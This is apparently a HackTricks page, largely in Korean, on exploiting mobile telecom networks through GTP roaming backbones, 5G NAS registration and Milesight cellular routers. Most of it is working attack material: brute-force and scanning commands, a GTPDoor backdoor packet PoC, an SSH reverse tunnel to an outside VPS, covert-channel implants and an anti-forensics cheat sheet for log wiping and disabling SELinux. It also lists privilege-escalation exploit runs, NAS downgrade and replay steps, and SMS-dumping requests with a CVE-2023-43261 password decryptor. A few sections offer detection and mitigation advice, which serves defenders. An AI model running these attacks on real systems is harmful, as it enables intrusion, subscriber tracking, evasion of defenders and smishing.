Telecom Network Exploitation (GTP / Roaming Environments)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Note

๋ชจ๋ฐ”์ผ ์ฝ”์–ด ํ”„๋กœํ† ์ฝœ (GPRS Tunnelling Protocol โ€“ GTP)์€ ์ข…์ข… ์‹ ๋ขฐ๋„๊ฐ€ ๋ถ€๋ถ„์ ์ธ GRX/IPX ๋กœ๋ฐ ๋ฐฑ๋ณธ์„ ํ†ต๊ณผํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์ด ๊ฑฐ์˜ ์ธ์ฆ ์—†์ด ํ‰๋ฌธ UDP ์œ„์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ํ†ต์‹ ๋ง ๊ฒฝ๊ณ„ ๋‚ด๋ถ€์˜ ์–ด๋–ค foothold๋„ ๋ณดํ†ต ์ฝ”์–ด signalling plane์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜์˜ ๋ฉ”๋ชจ๋Š” SGSN/GGSN, PGW/SGW ๋ฐ ๊ธฐํƒ€ EPC ๋…ธ๋“œ์— ๋Œ€ํ•ด ์•ผ์ƒ์—์„œ ๊ด€์ฐฐ๋œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๋“ค์„ ์ˆ˜์ง‘ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

1. ์ •์ฐฐ ๋ฐ ์ดˆ๊ธฐ ์ ‘๊ทผ

1.1 ๊ธฐ๋ณธ OSS / NE ๊ณ„์ •

์ƒ๋‹น์ˆ˜์˜ ๋ฒค๋” ๋„คํŠธ์›Œํฌ ์š”์†Œ๋Š” root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, โ€ฆ ์™€ ๊ฐ™์€ ํ•˜๋“œ์ฝ”๋”ฉ๋œ SSH/Telnet ์‚ฌ์šฉ์ž๋ฅผ ํƒ‘์žฌํ•œ ์ฑ„๋กœ ์ถœ๊ณ ๋ฉ๋‹ˆ๋‹ค. ์ „์šฉ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋Š” ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ์„ฑ๊ณต๋ฅ ์„ ํฌ๊ฒŒ ๋†’์ž…๋‹ˆ๋‹ค:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

์žฅ์น˜๊ฐ€ ๊ด€๋ฆฌ VRF๋งŒ ๋…ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ, ๋จผ์ € jump host๋ฅผ ํ†ตํ•ด pivotํ•˜์„ธ์š” (์•„๋ž˜ ์„น์…˜ ยซSGSN Emu Tunnelยป ์ฐธ์กฐ).

1.2 GRX/IPX ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ ๊ฒ€์ƒ‰

๋Œ€๋ถ€๋ถ„์˜ GRX ์‚ฌ์—…์ž๋“ค์€ ์—ฌ์ „ํžˆ ๋ฐฑ๋ณธ ์ „๋ฐ˜์— ๊ฑธ์ณ ICMP echo๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. masscan์˜ ๋‚ด์žฅ gtpv1 UDP ํ”„๋กœ๋ธŒ๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ GTP-C listeners๋ฅผ ๋น ๋ฅด๊ฒŒ ๋งคํ•‘ํ•˜์„ธ์š”:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. ๊ฐ€์ž…์ž ์—ด๊ฑฐ โ€“ cordscan

๋‹ค์Œ Go ๋„๊ตฌ๋Š” GTP-C Create PDP Context Request ํŒจํ‚ท์„ ์ƒ์„ฑํ•˜๊ณ  ์‘๋‹ต์„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์‘๋‹ต์€ ์กฐํšŒ๋œ IMSI์— ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋Š” ํ˜„์žฌ SGSN / MME๋ฅผ ์•Œ๋ ค์ฃผ๋ฉฐ, ๋•Œ๋กœ๋Š” ๊ฐ€์ž…์ž๊ฐ€ ๋ฐฉ๋ฌธํ•œ PLMN์„ ๋ณด์—ฌ์ฃผ๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi ๋Œ€์ƒ ๊ฐ€์ž…์ž IMSI
  • --oper ํ™ˆ / HNI (MCC+MNC)
  • -w ์›์‹œ ํŒจํ‚ท์„ pcap์— ๊ธฐ๋ก

๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด๋ถ€์˜ ์ค‘์š”ํ•œ ์ƒ์ˆ˜๋ฅผ ํŒจ์น˜ํ•˜์—ฌ ์Šค์บ” ๋ฒ”์œ„๋ฅผ ๋„“ํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP๋ฅผ ํ†ตํ•œ ์ฝ”๋“œ ์‹คํ–‰ โ€“ GTPDoor

GTPDoor๋Š” ์ž‘์€ ELF ์„œ๋น„์Šค๋กœ UDP 2123์— ๋ฐ”์ธ๋“œํ•˜๊ณ  ๋“ค์–ด์˜ค๋Š” ๋ชจ๋“  GTP-C ํŒจํ‚ท์„ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‚ฌ์ „ ๊ณต์œ  ํƒœ๊ทธ๋กœ ์‹œ์ž‘ํ•˜๋ฉด ๋‚˜๋จธ์ง€๋Š” ๋ณตํ˜ธํ™” (AES-128-CBC)๋˜์–ด /bin/sh -c๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. stdout/stderr๋Š” Echo Response ๋ฉ”์‹œ์ง€๋กœ exfiltrated๋˜์–ด ์™ธ๋ถ€ ์„ธ์…˜์ด ์ „ํ˜€ ์ƒ์„ฑ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • ์–ด๋–ค ํ˜ธ์ŠคํŠธ๊ฐ€ SGSN IPs๋กœ unbalanced Echo Requests๋ฅผ ์ „์†กํ•˜๋Š” ๊ฒฝ์šฐ
  • GTP version flag๊ฐ€ 1๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ณ  message type = 1 (Echo)์ผ ๋•Œ โ€” ๊ทœ๊ฒฉ์—์„œ ๋ฒ—์–ด๋‚จ

4. ์ฝ”์–ด๋ฅผ ํ†ตํ•œ Pivoting

4.1 sgsnemu + SOCKS5

OsmoGGSN๋Š” ์‹ค์ œ GGSN/PGW๋ฅผ ํ–ฅํ•ด PDP context๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” SGSN emulator๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํ˜‘์ƒ์ด ์™„๋ฃŒ๋˜๋ฉด, Linux๋Š” ๋กœ๋ฐ ํ”ผ์–ด์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ƒˆ๋กœ์šด tun0 ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

์ ์ ˆํ•œ firewall hair-pinning์ด ์žˆ์œผ๋ฉด, ์ด ํ„ฐ๋„์€ signalling-only VLANs๋ฅผ ์šฐํšŒํ•˜์—ฌ ์ง์ ‘ ๋ฐ์ดํ„ฐ ํ”Œ๋ ˆ์ธ์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

4.2 SSH Reverse Tunnel over Port 53

DNS๋Š” ๋กœ๋ฐ ์ธํ”„๋ผ์—์„œ ๊ฑฐ์˜ ํ•ญ์ƒ ์—ด๋ ค ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚ด๋ถ€ SSH ์„œ๋น„์Šค๋ฅผ VPS์—์„œ :53์œผ๋กœ ๋ฆฌ์Šค๋‹ํ•˜๋„๋ก ๋…ธ์ถœ์‹œํ‚ค๊ณ , ๋‚˜์ค‘์— ์ง‘์—์„œ ๋‹ค์‹œ ์ ‘์†ํ•˜์„ธ์š”:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

VPS์—์„œ GatewayPorts yes๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

5. ์€๋ฐ€ ์ฑ„๋„

ChannelTransportDecodingNotes
ICMP โ€“ EchoBackdoorICMP Echo Req/Rep4๋ฐ”์ดํŠธ ํ‚ค + 14๋ฐ”์ดํŠธ ์ฒญํฌ (XOR)์™„์ „ ์ˆ˜๋™ ๋ฆฌ์Šค๋„ˆ, ์•„์›ƒ๋ฐ”์šด๋“œ ํŠธ๋ž˜ํ”ฝ ์—†์Œ
DNS โ€“ NoDepDNSUDP 53XOR (key = funnyAndHappy) ๊ฐ€ A-๋ ˆ์ฝ”๋“œ ์˜ฅํ…Ÿ์— ์ธ์ฝ”๋”ฉ๋จ*.nodep ์„œ๋ธŒ๋„๋ฉ”์ธ์„ ๊ฐ์‹œํ•จ
GTP โ€“ GTPDoorUDP 2123private IE์— AES-128-CBC ๋ธ”๋กญ์ •์ƒ GTP-C ํ†ต์‹ ๊ณผ ์„ž์—ฌ ๋ˆˆ์— ๋„์ง€ ์•Š์Œ

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. ๋ฐฉ์–ด ํšŒํ”ผ ์น˜ํŠธ์‹œํŠธ

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. ๊ตฌํ˜• NE์—์„œ์˜ Privilege Escalation

# DirtyCow โ€“ CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit โ€“ CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit โ€“ CVE-2021-3156
python3 exploit_userspec.py

์ •๋ฆฌ ํŒ:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS โ€“ custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (โ‰ฅ0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G ๋“ฑ๋ก ์ ˆ์ฐจ๋Š” NGAP ์œ„์—์„œ NAS(Non-Access Stratum)๋กœ ์‹คํ–‰๋œ๋‹ค. Security Mode Command/Complete๋กœ NAS ๋ณด์•ˆ์ด ํ™œ์„ฑํ™”๋˜๊ธฐ ์ „๊นŒ์ง€ ์ดˆ๊ธฐ ๋ฉ”์‹œ์ง€๋Š” ์ธ์ฆยท์•”ํ˜ธํ™”๋˜์ง€ ์•Š๋Š”๋‹ค. ์ด ๋ณด์•ˆ ์ „ ์ฐฝ์€ N2 ํŠธ๋ž˜ํ”ฝ์„ ๊ด€์ฐฐํ•˜๊ฑฐ๋‚˜ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ(์˜ˆ: ์ฝ”์–ด ๋‚ด๋ถ€์˜ on-path, rogue gNB, ํ…Œ์ŠคํŠธ๋ฒ ๋“œ) ์—ฌ๋Ÿฌ ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค.

๋“ฑ๋ก ํ๋ฆ„(๋‹จ์ˆœํ™”):

  • Registration Request: UE๊ฐ€ SUCI(์•”ํ˜ธํ™”๋œ SUPI)์™€ capabilities๋ฅผ ์ „์†กํ•œ๋‹ค.
  • Authentication: AMF/AUSF๊ฐ€ RAND/AUTN์„ ๋ณด๋‚ด๊ณ ; UE๋Š” RES*๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
  • Security Mode Command/Complete: NAS ๋ฌด๊ฒฐ์„ฑ๊ณผ ์•”ํ˜ธํ™”๊ฐ€ ํ˜‘์ƒ๋˜์–ด ํ™œ์„ฑํ™”๋œ๋‹ค.
  • PDU Session Establishment: IP/QoS ์„ค์ •.

๋žฉ ์„ค์ • ํŒ (๋น„-RF):

  • Core: Open5GS ๊ธฐ๋ณธ ๋ฐฐํฌ๋กœ ํ๋ฆ„ ์žฌํ˜„์— ์ถฉ๋ถ„ํ•˜๋‹ค.
  • UE: ์‹œ๋ฎฌ๋ ˆ์ดํ„ฐ ๋˜๋Š” ํ…Œ์ŠคํŠธ UE; Wireshark๋กœ ๋””์ฝ”๋“œ.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Wireshark์—์„œ ์œ ์šฉํ•œ display filter:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

์˜ˆ์ƒ: UE/USIM์€ SUCI(ํ™ˆ ๋„คํŠธ์›Œํฌ ๊ณต๊ฐœํ‚ค๋กœ ์•”ํ˜ธํ™”๋œ SUPI)๋ฅผ ์ „์†กํ•ด์•ผ ํ•œ๋‹ค. Registration Request์—์„œ ํ‰๋ฌธ SUPI/IMSI๋ฅผ ์ฐพ์œผ๋ฉด ์ง€์†์ ์ธ ๊ฐ€์ž…์ž ์ถ”์ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ํ”„๋ผ์ด๋ฒ„์‹œ ๊ฒฐํ•จ์„ ์˜๋ฏธํ•œ๋‹ค.

ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•:

  • InitialUEMessage์—์„œ ์ฒซ ๋ฒˆ์งธ NAS ๋ฉ”์‹œ์ง€๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  Mobile Identity IE๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค.
  • Wireshark ๋น ๋ฅธ ํ™•์ธ:
  • SUCI๋กœ ๋””์ฝ”๋“œ๋˜์–ด์•ผ ํ•˜๋ฉฐ IMSI๊ฐ€ ๋˜์–ด์„œ๋Š” ์•ˆ ๋œ๋‹ค.
  • ํ•„ํ„ฐ ์˜ˆ์‹œ: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci๊ฐ€ ์กด์žฌํ•ด์•ผ ํ•œ๋‹ค; ๋ถ€์žฌํ•˜๊ณ  imsi๊ฐ€ ์กด์žฌํ•˜๋ฉด ์œ ์ถœ์„ ๋‚˜ํƒ€๋‚ธ๋‹ค.

์ˆ˜์ง‘ ํ•ญ๋ชฉ:

  • ๊ณต๊ฐœ๋œ ๊ฒฝ์šฐ MCC/MNC/MSIN; UE๋ณ„๋กœ ๊ธฐ๋กํ•˜๊ณ  ์‹œ๊ฐ„/์œ„์น˜์— ๋”ฐ๋ผ ์ถ”์ ํ•œ๋‹ค.

์™„ํ™”:

  • SUCI ์ „์šฉ UE/USIM ๊ฐ•์ œ; ์ดˆ๊ธฐ NAS์—์„œ IMSI/SUPI๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ๊ฒฝ๊ณ ํ•œ๋‹ค.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

๋ฐฐ๊ฒฝ:

  • UE๋Š” Registration Request์˜ UE Security Capability IE์—์„œ ์ง€์›ํ•˜๋Š” EEA(์•”ํ˜ธํ™”) ๋ฐ EIA(๋ฌด๊ฒฐ์„ฑ)๋ฅผ ๊ด‘๊ณ ํ•œ๋‹ค.
  • ์ผ๋ฐ˜ ๋งคํ•‘: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0๋Š” null ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด๋‹ค.

๋ฌธ์ œ:

  • Registration Request๊ฐ€ ๋ฌด๊ฒฐ์„ฑ ๋ณดํ˜ธ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, on-path ๊ณต๊ฒฉ์ž๋Š” capability ๋น„ํŠธ๋ฅผ ์‚ญ์ œํ•˜์—ฌ Security Mode Command ๋™์•ˆ ์ดํ›„์— EEA0/EIA0 ์„ ํƒ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค. ์ผ๋ถ€ ์Šคํƒ์€ ๋น„์ƒ ์„œ๋น„์Šค๊ฐ€ ์•„๋‹Œ ๊ฒฝ์šฐ์—๋„ ์ž˜๋ชปํ•˜์—ฌ null ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ํ—ˆ์šฉํ•œ๋‹ค.

๊ณต๊ฒฉ ๋‹จ๊ณ„:

  • InitialUEMessage๋ฅผ ๊ฐ€๋กœ์ฑ„ NAS UE Security Capability๋ฅผ ์˜ค์ง EEA0/EIA0๋งŒ ๊ด‘๊ณ ํ•˜๋„๋ก ์ˆ˜์ •ํ•œ๋‹ค.
  • Sni5Gect๋กœ NAS ๋ฉ”์‹œ์ง€๋ฅผ ํ›…ํ•˜๊ณ  ์ „๋‹ฌ ์ „์— capability ๋น„ํŠธ๋ฅผ ํŒจ์น˜ํ•œ๋‹ค.
  • AMF๊ฐ€ null ์•”ํ˜ธ/๋ฌด๊ฒฐ์„ฑ์„ ์ˆ˜๋ฝํ•˜๊ณ  EEA0/EIA0๋กœ Security Mode๋ฅผ ์™„๋ฃŒํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•œ๋‹ค.

๊ฒ€์ฆ/๊ฐ€์‹œ์„ฑ:

  • Wireshark์—์„œ Security Mode Command/Complete ์ดํ›„ ์„ ํƒ๋œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ํ™•์ธํ•œ๋‹ค.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

์™„ํ™” ์กฐ์น˜(ํ•„์ˆ˜):

  • AMF/policy๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ (์˜ˆ: ๊ธด๊ธ‰ ํ†ตํ™” ๋“ฑ) ์—„๊ฒฉํžˆ ์š”๊ตฌ๋˜๋Š” ๊ฒฝ์šฐ๋ฅผ ์ œ์™ธํ•˜๊ณ  EEA0/EIA0๋ฅผ ๊ฑฐ๋ถ€ํ•˜๋„๋ก ํ•˜์„ธ์š”.
  • ๊ฐ€๋Šฅํ•˜๋ฉด ์ตœ์†Œํ•œ EEA2/EIA2๋ฅผ ์ ์šฉํ•˜๋„๋ก ํ•˜๊ณ ; null algorithms์„ ํ˜‘์ƒํ•˜๋Š” ๋ชจ๋“  NAS ๋ณด์•ˆ ์ปจํ…์ŠคํŠธ์— ๋Œ€ํ•ด ๋กœ๊น… ๋ฐ ๊ฒฝ๋ณด๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.

9.3 ์ดˆ๊ธฐ Registration Request ์žฌ์ƒ (pre-security NAS)

์ดˆ๊ธฐ NAS๋Š” ๋ฌด๊ฒฐ์„ฑ๊ณผ ์‹ ์„ ๋„๊ฐ€ ์—†์œผ๋ฏ€๋กœ, ์บก์ฒ˜ํ•œ InitialUEMessage+Registration Request๋ฅผ AMF๋กœ ์žฌ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ์น˜ํ•˜๋Š” ์žฌ์ƒ์„ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•œ 5GReplay์šฉ PoC ๊ทœ์น™:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: AMF/SMF/UPF๋ฅผ ๋„์›Œ core๋ฅผ ์—๋ฎฌ๋ ˆ์ดํŠธํ•˜๊ณ  N2 (NGAP) ๋ฐ NAS๋ฅผ ๊ด€์ฐฐ.
  • Wireshark: NGAP/NAS์˜ ๋””์ฝ”๋”ฉ์„ ํ™•์ธ; ์œ„์˜ ํ•„ํ„ฐ๋ฅผ ์ ์šฉํ•ด Registration์„ ๋ถ„๋ฆฌ.
  • 5GReplay: Registration์„ ์บก์ฒ˜ํ•œ ํ›„ ๊ทœ์น™์— ๋”ฐ๋ผ ํŠน์ • NGAP + NAS ๋ฉ”์‹œ์ง€๋ฅผ replay.
  • Sni5Gect: NAS control-plane์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ sniff/modify/injectํ•˜์—ฌ null algorithms์„ ๊ฐ•์ œํ•˜๊ฑฐ๋‚˜ ์ธ์ฆ ์‹œํ€€์Šค๋ฅผ ๊ต๋ž€.

9.5 Defensive checklist

  • Registration Request๋ฅผ ์ง€์†์ ์œผ๋กœ ๊ฒ€์‚ฌํ•˜์—ฌ ํ‰๋ฌธ SUPI/IMSI๊ฐ€ ๋…ธ์ถœ๋˜๋Š”์ง€ ํ™•์ธ; ๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ์žฅ์น˜/USIM์„ ์ฐจ๋‹จ.
  • EEA0/EIA0๋Š” ์—„๊ฒฉํžˆ ์ •์˜๋œ ๋น„์ƒ ์ ˆ์ฐจ๋ฅผ ์ œ์™ธํ•˜๊ณ  ๊ฑฐ๋ถ€; ์ตœ์†Œ EEA2/EIA2 ์š”๊ตฌ.
  • ๋ฌด๋‹จ gNB/AMF, ์˜ˆ์ƒ์น˜ ๋ชปํ•œ N2 ํ”ผ์–ด ๋“ฑ ์•…์„ฑ ๋˜๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์ธํ”„๋ผ๋ฅผ ํƒ์ง€.
  • null algorithms๋ฅผ ์ดˆ๋ž˜ํ•˜๊ฑฐ๋‚˜ InitialUEMessage์˜ ๋นˆ๋ฒˆํ•œ ์žฌ์ƒ(replays)์ด ๋ฐœ์ƒํ•˜๋Š” NAS ๋ณด์•ˆ ๋ชจ๋“œ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด.

10. Industrial Cellular Routers โ€“ Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

์‚ฐ์—…์šฉ ์…€๋ฃฐ๋Ÿฌ ๋ผ์šฐํ„ฐ์˜ ๋…ธ์ถœ๋œ web API๋ฅผ ์•…์šฉํ•˜๋ฉด ์€๋ฐ€ํ•œ ํ†ต์‹ ์‚ฌ ์ถœ์ฒ˜์˜ smishing์„ ๋Œ€๊ทœ๋ชจ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. Milesight UR ์‹œ๋ฆฌ์ฆˆ ๋ผ์šฐํ„ฐ๋Š” /cgi์— JSON-RPC ์Šคํƒ€์ผ์˜ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•œ๋‹ค. ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ, ์ด API๋Š” ์ธ์ฆ ์—†์ด ์ฟผ๋ฆฌ๋˜์–ด SMS inbox/outbox๋ฅผ ๋‚˜์—ดํ•˜๊ฑฐ๋‚˜ ์ผ๋ถ€ ๋ฐฐํฌ์—์„œ๋Š” SMS๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

์‘๋‹ต์—๋Š” timestamp, content, phone_number (E.164), ๊ทธ๋ฆฌ๊ณ  status (success ๋˜๋Š” failed) ๊ฐ™์€ ํ•„๋“œ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๋™์ผํ•œ ๋ฒˆํ˜ธ๋กœ์˜ ๋ฐ˜๋ณต๋œ failed ์ „์†ก์€ ์ข…์ข… attacker์˜ โ€œcapability checksโ€๋กœ, blasting ์ „์— ๋ผ์šฐํ„ฐ/SIM์ด ์ „๋‹ฌ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

SMS ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ exfiltrateํ•˜๊ธฐ ์œ„ํ•œ ์˜ˆ์‹œ curl:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

auth artifacts์— ๋Œ€ํ•œ ๋…ธํŠธ:

  • ์ผ๋ถ€ ํŠธ๋ž˜ํ”ฝ์—๋Š” auth cookie๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ด€๋ฆฌ ์ธํ„ฐํŽ˜์ด์Šค๊ฐ€ Internet-facing์ผ ๋•Œ ๋…ธ์ถœ๋œ ์žฅ์น˜์˜ ์ƒ๋‹น ๋ถ€๋ถ„์€ query_inbox/query_outbox์— ๋Œ€ํ•ด ์•„๋ฌด ์ธ์ฆ ์—†์ด ์‘๋‹ตํ•œ๋‹ค.
  • ์ธ์ฆ์„ ์š”๊ตฌํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ๋Š” previously-leaked credentials (see below)๊ฐ€ ์ ‘๊ทผ์„ ๋ณต์›ํ•œ๋‹ค.

Credential recovery path โ€“ CVE-2023-43261:

  • ์˜ํ–ฅ๋ฐ›๋Š” ์ œํ’ˆ๊ตฐ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • ๋ฌธ์ œ: web-served logs (์˜ˆ: httpd.log)๊ฐ€ /lang/log/ ์•„๋ž˜์—์„œ ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ํด๋ผ์ด์–ธํŠธ ์ธก JavaScript์— ์กด์žฌํ•˜๋Š” ํ•˜๋“œ์ฝ”๋”ฉ๋œ AES key/IV๋กœ ์•”ํ˜ธํ™”๋œ password๋ฅผ ํฌํ•จํ•œ admin login events๋ฅผ ๋‹ด๊ณ  ์žˆ๋‹ค.
  • Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

leaked ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์ตœ์†Œํ•œ์˜ Python (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

ํ—ŒํŒ… ๋ฐ ํƒ์ง€ ์•„์ด๋””์–ด (๋„คํŠธ์›Œํฌ):

  • ์ธ์ฆ๋˜์ง€ ์•Š์€ POST /cgi ์š”์ฒญ์˜ JSON ๋ฐ”๋””์— base/function์ด query_inbox ๋˜๋Š” query_outbox๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ๊ฒฝ๋ณด.
